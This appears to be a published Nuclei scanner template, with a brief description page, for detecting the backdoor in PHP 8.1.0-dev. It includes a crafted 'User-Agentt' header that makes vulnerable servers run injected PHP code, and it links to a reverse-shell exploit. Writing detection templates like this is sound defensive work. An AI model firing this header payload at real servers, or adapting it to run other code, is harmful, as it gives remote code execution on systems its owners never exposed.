php-zerodium-backdoor-rce: PHP 8.1.0-dev - Backdoor Remote Code Execution

2025-08-01 php zerodium backdoor rce PoC Public

Description

PHP 8.1.0-dev contains a backdoor dubbed 'zerodiumvar_dump' which can allow the execution of arbitrary PHP code.

PoC

id: php-zerodium-backdoor-rce

info:
  name: PHP 8.1.0-dev - Backdoor Remote Code Execution
  author: dhiyaneshDk
  severity: critical
  description: |
    PHP 8.1.0-dev contains a backdoor dubbed 'zerodiumvar_dump' which can allow the execution of arbitrary PHP code.
  reference:
    - https://news-web.php.net/php.internals/113838
    - https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
    - https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-94
  metadata:
    max-request: 1
  tags: php,backdoor,rce,zerodium,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      User-Agentt: zerodiumvar_dump(233333*333332);

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "int(77777355556)"
# digest: 490a00463044022070c3bc2ea2d6b35d335175e05bf4b89a7e5e30f2cf6b1f445316fb1f66011ab4022028ba0f677770d528f5e4fb681bbf16fca60e44a5f554a8865669225722ee400c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/backdoor/php-zerodium-backdoor-rce.yaml

References

Related Vulnerabilities